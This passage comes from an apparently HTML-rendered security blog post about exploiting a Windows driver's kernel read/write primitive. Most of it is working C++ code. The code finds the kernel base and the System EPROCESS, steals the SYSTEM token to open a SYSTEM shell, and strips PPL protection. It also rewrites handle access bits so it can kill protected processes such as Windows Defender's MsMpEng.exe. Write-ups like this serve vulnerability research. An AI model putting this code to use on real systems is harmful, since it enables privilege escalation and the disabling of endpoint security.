		<span class="n">BYTE</span> <span class="n">hdr</span><span class="p">[</span><span class="mh">0x200</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KRead</span><span class="p">(</span><span class="n">va</span><span class="p">,</span> <span class="n">hdr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">hdr</span><span class="p">)))</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="n">LONG</span> <span class="n">peOffset</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">LONG</span><span class="o">*</span><span class="p">)(</span><span class="n">hdr</span> <span class="o">+</span> <span class="mh">0x3C</span><span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="n">peOffset</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">peOffset</span> <span class="o">+</span> <span class="mh">0x78</span> <span class="o">&gt;</span><span class="p">(</span><span class="n">LONG</span><span class="p">)</span><span class="k">sizeof</span><span class="p">(</span><span class="n">hdr</span><span class="p">))</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">DWORD</span><span class="o">*</span><span class="p">)(</span><span class="n">hdr</span> <span class="o">+</span> <span class="n">peOffset</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x00004550</span><span class="p">)</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="n">BYTE</span><span class="o">*</span> <span class="n">optHdr</span> <span class="o">=</span> <span class="n">hdr</span> <span class="o">+</span> <span class="n">peOffset</span> <span class="o">+</span> <span class="mi">24</span><span class="p">;</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">USHORT</span><span class="o">*</span><span class="p">)</span><span class="n">optHdr</span> <span class="o">!=</span> <span class="mh">0x20B</span><span class="p">)</span>
			<span class="k">continue</span><span class="p">;</span>

		<span class="n">DWORD</span> <span class="n">sizeOfImage</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">DWORD</span><span class="o">*</span><span class="p">)(</span><span class="n">optHdr</span> <span class="o">+</span> <span class="mi">56</span><span class="p">);</span>
		<span class="n">USHORT</span> <span class="n">subsystem</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">USHORT</span><span class="o">*</span><span class="p">)(</span><span class="n">optHdr</span> <span class="o">+</span> <span class="mi">68</span><span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="n">subsystem</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">sizeOfImage</span> <span class="o">&gt;</span> <span class="mh">0x500000</span><span class="p">)</span>
			<span class="k">return</span> <span class="n">va</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>With the base address for <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> found, we need to locate the System <code class="language-plaintext highlighter-rouge">EPROCESS</code> address so we can use it as an entry point into the kernel’s process list. We can walk this process list through the <code class="language-plaintext highlighter-rouge">ActiveProcessLinks</code> field, which is a doubly-linked list chaining the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structures for processes together, which will allow us to strip protections from target processes, or steal the token from a process.</p>

<p>To find our entry point, <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> can be used, which provides a global pointer that references the <code class="language-plaintext highlighter-rouge">EPROCESS</code> of the System process, and is exported. We can resolve <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> by loading a local copy of <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> via <code class="language-plaintext highlighter-rouge">LoadLibraryEx</code>, calling <code class="language-plaintext highlighter-rouge">GetProcAddress</code> to find the export offset, and add it to our kernel base address.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">FindKernelExport</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">kernelBase</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">name</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">HMODULE</span> <span class="n">local</span> <span class="o">=</span> <span class="n">LoadLibraryExA</span><span class="p">(</span><span class="s">"ntoskrnl.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">DONT_RESOLVE_DLL_REFERENCES</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">local</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">auto</span> <span class="n">localAddr</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">local</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>

	<span class="n">ULONGLONG</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">localAddr</span> <span class="o">?</span> <span class="n">localAddr</span> <span class="o">-</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">local</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">FreeLibrary</span><span class="p">(</span><span class="n">local</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">offset</span> <span class="o">?</span> <span class="n">kernelBase</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">GetSystemEprocess</span><span class="p">()</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">kernelBase</span> <span class="o">=</span> <span class="n">GetNtoskrnlBase</span><span class="p">();</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">kernelBase</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">pPsInitial</span> <span class="o">=</span> <span class="n">FindKernelExport</span><span class="p">(</span><span class="n">kernelBase</span><span class="p">,</span> <span class="s">"PsInitialSystemProcess"</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pPsInitial</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">eprocess</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">pPsInitial</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">eprocess</span> <span class="o">||</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">KReadPtr</span><span class="p">(</span><span class="n">eprocess</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Pid</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="k">return</span> <span class="n">eprocess</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now that we can find the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure for any target process by PID, we can find the structure for our process, and manipulate the token. To elevate our unprivileged user, we can read the <code class="language-plaintext highlighter-rouge">Token</code> field from the System <code class="language-plaintext highlighter-rouge">EPROCESS</code> and overwrite our current process’s <code class="language-plaintext highlighter-rouge">Token</code> field with the System token value. We can now enable <code class="language-plaintext highlighter-rouge">SeDebugPrivilege</code> via <code class="language-plaintext highlighter-rouge">AdjustTokenPrivileges</code> with no issues now, and spawn our new <code class="language-plaintext highlighter-rouge">cmd.exe</code> process as SYSTEM (if using elevate option).</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">FindEprocess</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">systemEproc</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">targetPid</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">current</span> <span class="o">=</span> <span class="n">systemEproc</span><span class="p">;</span>

	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">iter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">iter</span> <span class="o">&lt;</span> <span class="mi">4096</span><span class="p">;</span> <span class="n">iter</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">((</span><span class="n">DWORD</span><span class="p">)</span><span class="n">KReadPtr</span><span class="p">(</span><span class="n">current</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Pid</span><span class="p">)</span> <span class="o">==</span> <span class="n">targetPid</span><span class="p">)</span>
			<span class="k">return</span> <span class="n">current</span><span class="p">;</span>

		<span class="n">ULONGLONG</span> <span class="n">flink</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">current</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Links</span><span class="p">);</span>
		<span class="n">ULONGLONG</span> <span class="n">next</span> <span class="o">=</span> <span class="n">flink</span> <span class="o">-</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Links</span><span class="p">;</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">flink</span> <span class="o">||</span> <span class="n">next</span> <span class="o">==</span> <span class="n">systemEproc</span><span class="p">)</span>
			<span class="k">break</span><span class="p">;</span>

		<span class="n">current</span> <span class="o">=</span> <span class="n">next</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">StealSystemToken</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">systemEproc</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">myEproc</span> <span class="o">=</span> <span class="n">FindEprocess</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">,</span> <span class="n">GetCurrentProcessId</span><span class="p">());</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">myEproc</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">systemToken</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">systemEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Token</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">KWrite</span><span class="p">(</span><span class="n">myEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Token</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">systemToken</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">EnableDebugPriv</span><span class="p">();</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">EnableDebugPriv</span><span class="p">()</span>
<span class="p">{</span>
	<span class="n">HANDLE</span> <span class="n">token</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">OpenProcessToken</span><span class="p">(</span><span class="n">GetCurrentProcess</span><span class="p">(),</span> <span class="n">TOKEN_ADJUST_PRIVILEGES</span> <span class="o">|</span> <span class="n">TOKEN_QUERY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">token</span><span class="p">))</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">LUID</span> <span class="n">luid</span><span class="p">;</span>

	<span class="n">LookupPrivilegeValueA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">"SeDebugPrivilege"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">luid</span><span class="p">);</span>

	<span class="n">TOKEN_PRIVILEGES</span> <span class="n">privs</span> <span class="o">=</span> <span class="p">{};</span>

	<span class="n">privs</span><span class="p">.</span><span class="n">PrivilegeCount</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="n">privs</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Luid</span> <span class="o">=</span> <span class="n">luid</span><span class="p">;</span>
	<span class="n">privs</span><span class="p">.</span><span class="n">Privileges</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">Attributes</span> <span class="o">=</span> <span class="n">SE_PRIVILEGE_ENABLED</span><span class="p">;</span>

	<span class="n">BOOL</span> <span class="n">ok</span> <span class="o">=</span> <span class="n">AdjustTokenPrivileges</span><span class="p">(</span><span class="n">token</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">privs</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">privs</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">ok</span> <span class="o">=</span> <span class="n">ok</span> <span class="o">&amp;&amp;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">==</span> <span class="n">ERROR_SUCCESS</span><span class="p">;</span>

	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">token</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">ok</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">CmdElevate</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">systemEproc</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">StealSystemToken</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">))</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>

	<span class="n">STARTUPINFOA</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>
	<span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="o">=</span> <span class="p">{};</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">CreateProcessA</span><span class="p">(</span><span class="s">"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">cmd.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">CREATE_NEW_CONSOLE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"SYSTEM cmd.exe PID %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pi</span><span class="p">.</span><span class="n">dwProcessId</span><span class="p">);</span>

		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">else</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"CreateProcess failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To terminate processes, we can use the elevation logic from above to swap our process token, but protected (PPL/PP) processes will require additional effort to terminate. Since this driver does not expose an IOCTL that allows control over <code class="language-plaintext highlighter-rouge">ZwTerminateProcess</code> we will have to strip the protections off the target process before we can touch it. We can do this by finding our target’s <code class="language-plaintext highlighter-rouge">EPROCESS</code>, and zeroing the fields <code class="language-plaintext highlighter-rouge">SignatureLevel</code>, <code class="language-plaintext highlighter-rouge">SectionSignatureLevel</code>, and <code class="language-plaintext highlighter-rouge">Protection</code>. We are now privileged enough to open a handle to our now unprotected target process with <code class="language-plaintext highlighter-rouge">OpenProcess</code>, but in the case of Windows Defender’s <code class="language-plaintext highlighter-rouge">MsMpEng.exe</code> process (and others), the <code class="language-plaintext highlighter-rouge">WdFilter.sys</code> filter driver strips <code class="language-plaintext highlighter-rouge">PROCESS_TERMINATE</code> from our access mask (<code class="language-plaintext highlighter-rouge">GrantedAccess</code>) on handle creation through <code class="language-plaintext highlighter-rouge">ObRegisterCallbacks</code>, which is used to intercept calls to <code class="language-plaintext highlighter-rouge">ObpCreateHandle</code>. To circumvent this, we can open a handle with <code class="language-plaintext highlighter-rouge">PROCESS_QUERY_LIMITED_INFORMATION</code>, which is allowed, and manually adjust the access rights. By locating our process’s <code class="language-plaintext highlighter-rouge">_HANDLE_TABLE</code> via <code class="language-plaintext highlighter-rouge">EPROCESS+ObjectTable</code>, walking the handle table structure to find the handle entry for our created <code class="language-plaintext highlighter-rouge">PROCESS_QUERY_LIMITED_INFORMATION</code> handle, and OR in the <code class="language-plaintext highlighter-rouge">PROCESS_TERMINATE</code> access rights to our access mask. We can now successfully terminate the process with <code class="language-plaintext highlighter-rouge">TerminateProcess</code>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">CmdKill</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">systemEproc</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">targetPid</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">StealSystemToken</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">))</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">myEproc</span> <span class="o">=</span> <span class="n">FindEprocess</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">,</span> <span class="n">GetCurrentProcessId</span><span class="p">());</span>
	<span class="n">ULONGLONG</span> <span class="n">tgtEproc</span> <span class="o">=</span> <span class="n">FindEprocess</span><span class="p">(</span><span class="n">systemEproc</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">tgtEproc</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Target EPROCESS not found</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="kt">char</span> <span class="n">imageName</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span>

	<span class="n">KRead</span><span class="p">(</span><span class="n">tgtEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Name</span><span class="p">,</span> <span class="n">imageName</span><span class="p">,</span> <span class="mi">15</span><span class="p">);</span>

	<span class="n">KWriteByte</span><span class="p">(</span><span class="n">tgtEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">SigLevel</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">KWriteByte</span><span class="p">(</span><span class="n">tgtEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">SecSigLevel</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
	<span class="n">KWriteByte</span><span class="p">(</span><span class="n">tgtEproc</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">Protection</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_QUERY_LIMITED_INFORMATION</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"OpenProcess failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">GrantHandleAccess</span><span class="p">(</span><span class="n">myEproc</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">PROCESS_TERMINATE</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">TerminateProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"TerminateProcess failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"Process %lu (%s) terminated</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">targetPid</span><span class="p">,</span> <span class="n">imageName</span><span class="p">);</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">ULONGLONG</span> <span class="nf">LookupHandleEntry</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">eprocess</span><span class="p">,</span> <span class="n">HANDLE</span> <span class="n">handle</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">objTable</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">eprocess</span> <span class="o">+</span> <span class="n">g_off</span><span class="p">.</span><span class="n">ObjTable</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">objTable</span><span class="p">)</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">ULONGLONG</span> <span class="n">tableCode</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">objTable</span> <span class="o">+</span> <span class="mh">0x08</span><span class="p">);</span>
	<span class="n">ULONG</span> <span class="n">level</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG</span><span class="p">)(</span><span class="n">tableCode</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">);</span>
	<span class="n">ULONGLONG</span> <span class="n">tableBase</span> <span class="o">=</span> <span class="n">tableCode</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mi">7ULL</span><span class="p">;</span>
	<span class="n">ULONG</span> <span class="n">index</span> <span class="o">=</span> <span class="p">((</span><span class="n">ULONG</span><span class="p">)(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="n">handle</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">level</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">tableBase</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">index</span> <span class="o">*</span> <span class="mi">16</span><span class="p">;</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">level</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">ULONG</span> <span class="n">pageIndex</span> <span class="o">=</span> <span class="n">index</span> <span class="o">/</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">;</span>
		<span class="n">ULONG</span> <span class="n">entryIndex</span> <span class="o">=</span> <span class="n">index</span> <span class="o">%</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">;</span>
		<span class="n">ULONGLONG</span> <span class="n">subTable</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">tableBase</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">pageIndex</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>

		<span class="k">return</span> <span class="n">subTable</span> <span class="o">?</span> <span class="n">subTable</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">entryIndex</span> <span class="o">*</span> <span class="mi">16</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">level</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">ULONG</span> <span class="n">topIndex</span> <span class="o">=</span> <span class="n">index</span> <span class="o">/</span> <span class="p">(</span><span class="n">ENTRIES_PER_PAGE</span> <span class="o">*</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">);</span>
		<span class="n">ULONG</span> <span class="n">midIndex</span> <span class="o">=</span> <span class="p">(</span><span class="n">index</span> <span class="o">/</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">)</span> <span class="o">%</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">;</span>
		<span class="n">ULONG</span> <span class="n">entryIndex</span> <span class="o">=</span> <span class="n">index</span> <span class="o">%</span> <span class="n">ENTRIES_PER_PAGE</span><span class="p">;</span>

		<span class="n">ULONGLONG</span> <span class="n">midTable</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">tableBase</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">topIndex</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>

		<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">midTable</span><span class="p">)</span>
			<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

		<span class="n">ULONGLONG</span> <span class="n">subTable</span> <span class="o">=</span> <span class="n">KReadPtr</span><span class="p">(</span><span class="n">midTable</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">midIndex</span> <span class="o">*</span> <span class="mi">8</span><span class="p">);</span>

		<span class="k">return</span> <span class="n">subTable</span> <span class="o">?</span> <span class="n">subTable</span> <span class="o">+</span> <span class="p">(</span><span class="n">ULONGLONG</span><span class="p">)</span><span class="n">entryIndex</span> <span class="o">*</span> <span class="mi">16</span> <span class="o">:</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">BOOL</span> <span class="nf">GrantHandleAccess</span><span class="p">(</span><span class="n">ULONGLONG</span> <span class="n">eprocess</span><span class="p">,</span> <span class="n">HANDLE</span> <span class="n">handle</span><span class="p">,</span> <span class="n">DWORD</span> <span class="n">rights</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">ULONGLONG</span> <span class="n">entry</span> <span class="o">=</span> <span class="n">LookupHandleEntry</span><span class="p">(</span><span class="n">eprocess</span><span class="p">,</span> <span class="n">handle</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">entry</span><span class="p">)</span>
		<span class="k">return</span> <span class="n">FALSE</span><span class="p">;</span>

	<span class="n">DWORD</span> <span class="n">accessBits</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="n">KRead</span><span class="p">(</span><span class="n">entry</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">accessBits</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>

	<span class="n">accessBits</span> <span class="o">|=</span> <span class="n">rights</span><span class="p">;</span>

	<span class="n">KWrite</span><span class="p">(</span><span class="n">entry</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">accessBits</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="acknowledgment">Acknowledgment</h2>

